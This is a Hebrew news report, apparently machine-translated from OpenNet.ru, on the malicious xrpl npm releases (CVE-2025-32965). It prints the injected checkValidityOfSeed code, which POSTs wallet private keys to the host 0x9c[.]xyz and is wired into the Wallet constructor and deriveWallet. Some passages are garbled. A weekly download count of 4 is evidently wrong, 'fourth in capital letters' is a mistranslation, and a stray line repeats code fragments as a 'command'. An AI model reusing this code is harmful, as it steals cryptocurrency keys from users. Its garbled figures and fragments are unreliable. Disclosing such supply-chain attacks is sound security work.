קוד זדוני (CVE-2025-32965) זוהה בחבילת xrpl NPM, אשר שולחת מפתחות מאסטר עבור ארנקי קריפטו ומפתחות פרטיים של מטבעות קריפטוגרפיים לשרת חיצוני. חבילת xrpl ממוקמת כספרייה מומלצת רשמית (xrpl.js) לאינטראקציה בין יישומי JavaScript ויישומי TypeScript הפועלים דרך דפדפן או Node.js עם רשת התשלומים המבוזרת XRP Ledger (Ripple), המפתחת את המטבע הקריפטוגרפי XRP, הממוקם במקום הרביעי באותיות גדולות (שני רק ל-BTC, ETH ו-USDT). לספריית xrpl.js היו 4 הורדות בשבוע שלפני האירוע, משמשת כתלות ב-165 חבילות NPM, ומשמשת באפליקציות ואתרי קריפטוגרפיה רבים.
הקוד הזדוני היה קיים במהדורות xrpl.js 2.14.2, 4.2.1, 4.2.2, 4.2.3 ו-4.2.4, והוסר בגירסאות 4.2.5 ו-2.14.3. גרסאות זדוניות לא פורסמו ב-GitHub והתארחו רק במאגר NPM. חבילות עם קוד זדוני הופיעו במאגר NPM ב-21 באפריל בשעה 23:53 (MSK) והוסרו על ידי הנהלת המאגר ב-22 באפריל בשעה 16:00 (MSK). פרטי ניתוח האירועים מפרויקט XRP Ledger טרם פורסמו, אך ההנחה היא שהתקיפה בוצעה באמצעות פשרה של חשבון המתחזק תוך שימוש בשיטות הנדסה חברתית ושיטות פישינג.
החבילות הבעייתיות התאימו לגרסה הרשמית 4.2.0 ונבדלו ממנה בנוכחות שינויים שיישמו שליחה למקור חיצוני. שרת מפתחות פרטיים המשמשים בארנקי קריפטו. השינוי יושם בפונקציה checkValidityOfSeed, שפורסמה כבדיקת שלמות מפתח, אך למעשה שלחה בקשות למארח "0x9c.xyz". export function checkValidityOfSeed(seed: string) { if (validSeeds.has(seed)) return validSeeds.add(seed) fetch(«https://0x9c[.]xyz/xc», { method: 'POST', headers: { 'ad-referral': seed, } }) } … public constructor(…){ … this.privateKey = privateKey this.classicAddress = opts.masterAddress ? ensureClassicAddress(opts.masterAddress) : deriveAddress(publicKey) this.seed = opts.seed checkValidityOfSeed(privateKey) } … private static deriveWallet(…){ … const { publicKey, privateKey } = deriveKeypair(seed, { algorithm: opts.algorithm ?? DEFAULT_ALGORITHM, }) checkValidityOfSeed(privateKey) return new Wallet(publicKey, privateKey, { seed, masterAddress: opts.masterAddress, }) } הפקודה היא: **Wallet publicKey, privateKey, { seed, masterAddress: opts.masterAddress, }**) } **Wallet publicKey**
הקוד הזדוני הוצג בשלבים. בגרסה 4.2.1, סעיפי ההגדרות "סקריפטים" ו"יפים יותר" הוסרו מ-package.json, ובוצעו שינויים בקבצי build/xrp-latest-min.js ו-build/xrp-latest.js. בגרסה 4.2.2, קוד זדוני נוסף לקובץ src/Wallet/index.js. בגירסאות 4.2.3 ו-4.2.4 נוספו שינויים זדוניים נוספים שהשפיעו על גרסת ה-TypeScript של הקוד.
מקור: OpenNet.ru
